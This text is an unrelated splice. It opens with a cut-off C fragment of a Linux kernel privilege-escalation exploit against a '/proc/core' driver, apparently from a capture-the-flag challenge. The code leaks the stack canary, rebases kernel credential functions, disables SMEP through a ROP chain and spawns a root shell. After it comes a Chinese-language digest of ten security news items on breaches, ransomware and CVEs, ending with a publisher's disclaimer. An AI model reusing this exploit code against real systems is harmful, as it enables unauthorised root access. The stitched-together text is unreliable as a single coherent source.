(kallsyms_fd < 0) {        puts("[-] Failed to open kallsyms.\n");        exit(-1);   }    char name[0x50], type[0x10];    size_t addr;    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {        size_t offset = -1;        if (!strcmp(name, "commit_creds")) {            offset = addr - (size_t) commit_creds;       } else if (!strcmp(name, "prepare_kernel_cred")) {            offset = addr - (size_t) prepare_kernel_cred;       }        if (offset != -1) {            printf("[*] offset: %p\n", offset);            commit_creds = (void *) ((size_t) commit_creds + offset);            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);            init_cred = (void *) ((size_t) init_cred + offset);            pop_rdi_ret += offset;            pop_rdx_ret += offset;            pop_rcx_ret += offset;            mov_rdi_rax_call_rdx += offset;            swapgs_popfq_ret += offset;            iretq += offset;            break;       }   }    printf("[*] commit_creds: %p\n", (size_t) commit_creds);    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred); } size_t get_canary() {    set_off(64);    char buf[64];    core_read(buf);    return *(size_t *) buf; } int main() {    save_status();    rebase();    core_fd = open("/proc/core", O_RDWR);    if (core_fd < 0) {        puts("[-] Failed to open core.");        exit(-1);   }    size_t canary = get_canary();    printf("[*] canary: %p\n", canary);    char buf[0x100];    memset(buf, 'a', sizeof(buf));    *(size_t *) &buf[64] = canary;    size_t *rop = (size_t *) &buf[80], it = 0;    rop[it++] = pop_rdi_ret;    rop[it++] = 0x00000000000006f0;    rop[it++] = mov_cr4_rdi_ret;    rop[it++] = (size_t) get_root;    rop[it++] = swapgs_popfq_ret;    rop[it++] = 0;    rop[it++] = iretq;    rop[it++] = (size_t) get_shell;    rop[it++] = user_cs;    rop[it++] = user_rflags;    rop[it++] = user_sp;    rop[it++] = user_ss;    core_write(buf, sizeof(buf));    core_copy_func(0xffffffffffff0000 | sizeof(buf));    return 0; }

1、勒索组织利用Veeam软件漏洞攻击尼日利亚的关键基础设施 https://cert.gov.ng/advisories/ransomware-groups-targeting-critical-systems-in-nigeria 尼日利亚计算机应急响应中心（ngCERT）发布了紧急警报，警告勒索组织正在攻击尼日利亚的关键系统。攻击者利用Veeam Backup and Replication（VBR）软件中的一个高危漏洞（CVE-2023-27532）进行攻击，并且此次事件涉及Phobos勒索组织。漏洞CVE-2023-27532影响VBR 12及以下版本，允许攻击者未经授权访问敏感数据，包括存储在Veeam配置数据库中的加密和明文凭据。攻击者能 2、攻击者使用SambaSpy木马针对意大利用户进行攻击 https://securelist.com/sambaspy-rat-targets-italian-users/113851/ 研究人员发现了一起恶意软件活动，该活动专门针对意大利用户进行攻击，传播一种名为SambaSpy的新型远控木马。此次攻击活动专门设计为仅感染意大利用户，在攻击流程的多个阶段都会检查系统语言是否为意大利语，如果目标不符合该标准，恶意软件将停止执行。SambaSpy用Java编写，并使用Zelix KlassMaster保护器进行混淆，具备多种功能，包括：管理文件和进程、上传和下载文件、控制摄像头、记录按键和剪贴板活动、截屏、从流行浏览器（如Chrome、Edge和B 3、Ivanti CSA中的安全漏洞CVE-2024-8963正被积极利用 https://securityonline.info/critical-flaw-in-ivanti-csa-4-6-cve-2024-8963-actively-exploited-urgent-upgrade-required/ Ivanti披露其Ivanti Connect Secure Appliance（CSA）4.6中的一个安全漏洞。该漏洞被标识为CVE-2024-8963，CVSS评分为9.4，正在被积极利用，对使用已终止支持（EOL）版本的Ivanti CSA用户构成重大风险。CVE-2024-8963是一个路径遍历漏洞，允许远程、未经身份验证的攻击者未经授权访问Ivant 4、Star Health Insurance泄露3100万客户数据 https://cybersecuritynews.com/star-health-data-leak/ 印度最大的健康保险提供商Star Health & Allied Insurance最近经历了一次重大的数据泄露事件，导致超过3100万客户的敏感个人信息泄露。泄露的数据信息包括姓名、电话号码、地址、税务信息、身份证复印件、医疗诊断和测试结果。其中的小部分数据被免费提供，其他用户也可以批量购买数据，数据总量达到7.24TB。Star Health表示，8月13日有一名身份不明的人联系他们，声称可以访问其部分数据。该保险公司已将此事报告给网络犯罪部门和联邦网络安全机构CERT-In。 5、戴尔正对一起数据泄露事件进行调查 https://www.bleepingcomputer.com/news/security/dell-investigates-data-breach-claims-after-hacker-leaks-employee-info/ 戴尔正在调查一起数据泄露事件，此前一名攻击者声称泄露了超过10000名员工的数据。在一个黑客论坛的帖子中，名为“grep”的攻击者表示其窃取的数据包括员工的唯一标识符、戴尔和合作伙伴员工的全名、员工状态（是否在职）以及内部识别字符串。戴尔称其安全团队正在针对此次事件进行调查。 6、药品分销商Cencora支付高达7500万美元的赎金 https://securityonline.info/cencoras-75-million-ransom-a-new-high-in-cyber-extortion/ 美国药品分销商Cencora在经历一次网络攻击后向网络犯罪分子支付了创纪录的7500万美元赎金，这是目前已知的最大赎金支付金额。Cencora在2月份遭遇了此次攻击，导致敏感的患者数据泄露，包括姓名、地址、出生日期和医疗信息。据称，攻击者是Dark Angels勒索组织，该组织最初要求高达1.5亿美元的赎金。尽管Cencora后来将赎金金额谈判至原先的50%，但其最终支付的金额仍远超以往任何已知的赎金支付。 7、攻击者通过恶意破解软件传播AsyncRAT https://www.mcafee.com/blogs/other-blogs/mcafee-labs/cracked-software-or-cyber-trap-the-rising-danger-of-asyncrat-malware/ 在网络安全领域，威胁不断演变，新的攻击手段层出不穷。研究人员最近发现一个新的AsyncRAT变种，这是一种远控木马（RAT），通过伪装成破解软件来进行传播。攻击者利用用户想要免费使用高级软件的心理，诱导用户下载运行看似正常的破解软件。然而，破解软件中隐藏着危险的恶意软件，旨在渗透系统、窃取敏感信息，并让攻击者完全控制受感染的设备。 8、MediaTek Wi-Fi芯片组中存在一个安全漏洞 https://cybersecuritynews.com/0-click-rce-vulnerability-mediatek/ MediaTek Wi-Fi芯片组常用于支持Wi-Fi 6（802.11ax）的嵌入式平台，该芯片组中存在一个安全漏洞。该漏洞允许攻击者在无需用户交互的情况下发起远程代码执行（RCE）攻击。这个安全漏洞被标识为CVE-2024-20017，影响了多家制造商的设备。研究人员发现了四种不同的漏洞利用方法。使用受影响设备的用户应将固件更新至最新版本以修复该漏洞。 9、BingX平台被盗超过4400万美元的加密货币 https://therecord.media/44-million-stolen-from-crypto-platform-singapore 新加坡加密货币平台BingX表示，在一次网络攻击中，他们平台上超过4400万美元的加密货币被盗。该平台立即实施了紧急措施，包括紧急转移资产和暂停提款。虽然有少量资产损失，但金额较小，目前正在计算中。该平台后来在区块链安全公司的帮助下发布了更完整的审计报告，称到目前为止他们发现约4470万美元的损失。其他公司表示，损失可能高达4800万美元，BingX承认他们仍在计算被盗金额。此外，该平台表示此次事件不会影响其日常业务运营，交易服务仍照常进行。提款和 10、Meta等社交巨头被曝长期收集大量用户数据，牟利数十亿美元 https://www.androidpolice.com/new-ftc-study-exposes-vast-social-media-data-collection/ 根据美国联邦贸易委员会（FTC）工作人员的一份报告显示，社交媒体和视频流媒体公司一直在对用户，尤其是儿童和青少年进行广泛的监控，隐私保护不足，并通过数据货币化每年赚取数十亿美元。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。